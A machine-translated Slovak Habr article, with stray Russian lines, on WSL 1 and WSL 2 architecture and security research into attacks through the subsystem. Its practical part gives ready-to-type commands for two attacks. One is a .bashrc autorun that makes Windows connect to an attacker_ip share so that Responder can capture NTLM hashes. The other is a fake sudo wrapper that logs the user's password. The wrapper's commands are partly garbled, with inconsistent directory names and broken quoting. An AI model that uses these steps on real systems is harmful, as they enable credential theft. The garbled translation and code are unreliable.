Ahoj habr! OTUS spúšťa nový stream kurzov v októbri
V roku 2016 spoločnosť Microsoft predstavila novú technológiu WSL komunite IT (Windows Spodsystém pre Linux), čo v budúcnosti umožnilo zjednotiť dovtedy nezmieriteľných konkurentov, ktorí bojovali o obľubu medzi bežnými aj pokročilými používateľmi OS: Windows a Linux. Táto technológia umožnila použiť nástroje OS Linux v prostredí Windows bez nutnosti spúšťať Linux, napríklad pomocou Multi-boot. Na Habr môžete nájsť veľké množstvo článkov popisujúcich výhody používania WSL. V čase vzniku tohto článku sa však na tomto zdroji, žiaľ, nenašli žiadne štúdie o bezpečnosti takejto symbiózy operačných systémov. Tento príspevok bude pokusom o nápravu. Článok bude hovoriť o vlastnostiach architektúr WSL 1 a 2 a preskúma niekoľko príkladov útokov na systémy využívajúce tieto technológie. Článok je rozdelený na 2 časti. Prvá poskytne hlavné teoretické metódy útoku z Linuxu a Windowsu. Druhý článok bude zahŕňať nastavenie testovacieho prostredia a reprodukovanie útokov.
WSL 1: architektonické prvky
Pre čo najpresnejší ponor do bezpečnostných problémov WSL je potrebné určiť hlavné nuansy spojené s implementáciou subsystému. Jednou z hlavných užívateľských úloh, ktoré rieši WSL, je schopnosť pracovať cez linuxový terminál na hostiteľovi s operačným systémom Windows. Okrem toho ponúkaná kompatibilita bola taká natívna, že spustiteľné súbory Linuxu (ELF) bolo možné spúšťať priamo na systéme Windows. Na dosiahnutie týchto cieľov bol v systéme Windows 10 vytvorený špeciálny subsystém, ktorý vám umožňuje spúšťať aplikácie pre Linux pomocou množiny špecifických systémových volaní – a tak došlo k pokusu zmapovať množinu systémových volaní systému Linux na Windows. Toto bolo fyzicky implementované pridaním nových ovládačov a nového formátu procesu. Vizuálne vyzerala architektúra takto:
V skutočnosti bola interakcia s operačným systémom Linux organizovaná prostredníctvom niekoľkých modulov jadra a špeciálneho typu procesu - pico. Z vyššie uvedeného diagramu môžete vidieť, že proces spustený na inštancii Linuxu na hostiteľovi musí byť natívny a musí využívať rovnaké prostriedky ako bežné aplikácie Windows. Ale ako to dosiahnuť? V projekte
Všimnite si, že navrhovaná abstrakcia umožnila nezameriavať sa na operačný systém (najmä Windows), v ktorom sa očakáva spustenie procesu iného OS, a navrhla všeobecný prístup.
Každá aplikácia v procese pico by teda mohla bežať bez ohľadu na jadro systému Windows:
- Problémy s kompatibilitou a prekladom systémových volaní musia riešiť špeciálni poskytovatelia;
- Kontrola prístupu musí byť vykonaná cez Security Monitor. Monitor je umiestnený v jadre a preto Windows potreboval upgrade v podobe nového ovládača, ktorý by mohol fungovať ako poskytovateľ takýchto procesov. Prototyp piko procesu je schematicky znázornený nižšie:
Keďže súborový systém Linux používa názvy súborov a adresárov, v ktorých sa rozlišujú veľké a malé písmená, do systému Windows boli pridané 2 typy súborových systémov na prácu s WSL – VolFS a DriveFS. VolFS je implementácia súborového systému Linux, DriveFS je súborový systém, ktorý funguje podľa pravidiel systému Windows, ale má možnosť rozlišovať malé a veľké písmená.
WSL 2
WSL 1 mal množstvo obmedzení, ktoré neumožňovali jeho použitie na riešenie maximálneho rozsahu úloh: napríklad nemal možnosť spúšťať 32-bitové linuxové aplikácie a nebolo možné použiť ovládače zariadení. Preto v roku 2020 vyšiel WSL 2, ktorý zmenil prístup k budovaniu subsystému. WSL 2 je optimalizovaný virtuálny stroj, ktorý zodpovedá charakteristikám spotreby zdrojov WSL 1. Teraz, v závislosti od problémov, ktoré vyriešil používateľ operačného systému Windows, môžete vybrať požadovanú verziu subsystému Linux. Na zmiernenie možných zraniteľností bol implementovaný WSL 2 založený na Hyper-V vo Windowse 10. V tejto podobe má Windows schopnosť spúšťať jadro operačného systému Linux izolovane. Stojí za to pripomenúť, že verzia 1 WSL bola predstavená ako beta funkcia, ktorá mala ukázať smer vývoja Windowsu v tejto oblasti, takže prechod na Hyper-V bol nevyhnutný. Konečná architektúra vyzerá takto:
V tejto verzii majú jadrá Windows a Linux svoje vlastné zdroje a priesečník existuje iba v súborovom systéme, ale tento prienik nie je úplný. Interakcia medzi súborovými systémami sa uskutočňuje prostredníctvom obálky klient-server, ktorá funguje pomocou protokolu 9P.
Dnes spoločnosť Microsoft poskytuje možnosť prepínania medzi WSL 1 a WSL 2. Obe verzie sú dostupné na použitie.
Zabezpečenie WSL
V súčasnosti existuje niekoľko prác popisujúcich niektoré prístupy k používaniu legitímnych nástrojov OS na napadnutie komunikácie medzi podsystémami. Ich skripty použijeme na kontrolu relevantnosti útokov v čase písania. Všeobecný zoznam útokov a scenárov:
1. Implementácia súborového systému: prístupové práva, dostupnosť zdieľaných adresárov/mechanizmy výmeny údajov.
Uskutočnil sa výskum s cieľom zistiť porušenia pravidiel prístupu z Linux FS->Windows FS, Windows FS->Linux FS. Výskum preukázal schopnosť upraviť daný súbor v rámci cieľového OS. Uskutočnili sa aj pokusy nahradiť, vytvoriť duplikáty a odstrániť časť súborových systémov.
Scenár:
- A. Útok z operačného systému Windows - úprava súborov z adresára /etc OS Linux.
- B. Útok z operačného systému Linux - úprava súborov v adresároch:
C:Windows
,C:Program Files
,C:Users<User>
2. Implementácia sieťového zásobníka.
Výskum bol realizovaný na príkladoch útokov z operačného systému Linux na Windows. Boli použité funkcie sieťového zásobníka, konkrétne mechanizmy autentifikácie na rôznych zdrojoch.
Scenár:
- Otvorenie prístupu k portu, ktorý je obsadený v systéme Windows
- Otvorenie portu bez príslušných práv
- Spustenie spätného shellu pomocou súboru elf v operačnom systéme Windows.
3. Skrytie spúšťania procesov škodlivého softvéru pomocou subsystému WSL.
Výskum bol založený na jednoduchom fakte – bezpečnostné podsystémy nedokážu zachytiť udalosti v inom jadre, ktoré funguje pomocou legitímneho poskytovateľa z operačného systému v prípade WSL 1. V prípade WSL 2 neexistuje spôsob, ako zobraziť udalosti, ktoré sa vyskytnú v samostatnom jadre v rámci ľahkého virtuálneho stroja.
Scenár:
1) Spustite aplikáciu pre vzdialený prístup do systému a prezerajte si zaznamenané udalosti.
Experimenty WSL 1: zachytenie hash (Windows)
Nakoniec sme sa dostali k praktickej časti. Najprv musíte nastaviť testovacie prostredie. Všetky experimenty sa budú vykonávať na pracovnej ploche s nainštalovaným systémom Windows 10 2004. Ako obraz operačného systému pre WSL bol vybraný obraz Ubuntu 18.04. Obrázok bol vybraný náhodne a každý iný bude fungovať rovnako. Príkazy na nastavenie stojana:
Najprv musíte spustiť powershell.exe
ako správca.
Pre WSL 1 musíte spustiť príkazy:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Po reštarte stojana môžete zavolať príkaz bash. Ak všetko fungovalo správne, v konzole Windows uvidíte výstup podobný tomuto:
Ako stroj útočníka použijeme distribúciu Kali Linux, všetky stroje musia byť v rovnakej lokálnej sieti.
Predpokladajme, že máme neprivilegovaný prístup k WSL na počítači so systémom Windows. Skúsme zaútočiť na operačný systém Linux volaním príkazu z Linuxu. Na realizáciu útoku použijeme jednoduchú techniku autorun – pridáme náš skript na spustenie v prostredí Linuxu. Ak to chcete urobiť, musíte zmeniť súbor .bashrc
.
Na stroji s WSL vykonáme:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exit
Na počítači Kali Linux spúšťame:
1. Responder -I eth0 -rdvw
Na počítači so systémom Windows spustíme bash.
Čakáme na výsledok na stroji Kali Linux:
Získali sme teda hashe používateľov systému Windows prostredníctvom subsystému WSL vykonaním príkazu v systéme Linux.
Experimenty WSL 1: získanie používateľského hesla (Linux OS)
Urobme ešte jeden experiment. Pri tejto kontrole doplníme do súboru .bashrc
niekoľko príkazov na získanie hesla používateľa operačného systému Linux.
Spustíme bash a zadáme príkazy:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Na úspešné dokončenie útoku musí používateľ Sam zavolať sudo v termináli Linux. Potom bude v súbore heslo používateľa operačného systému Linux pass.txt
:
Realizácia útokov bola uvedená len pre teoretickú informáciu.
V ďalšej časti článku bude popísaná implementácia protokolu 9P, zváženie vytvorenia skenera pre tento protokol a tiež vykonanie útoku pomocou neho.
Zoznam odkazov
Čítaj viac
Zdroj: hab.com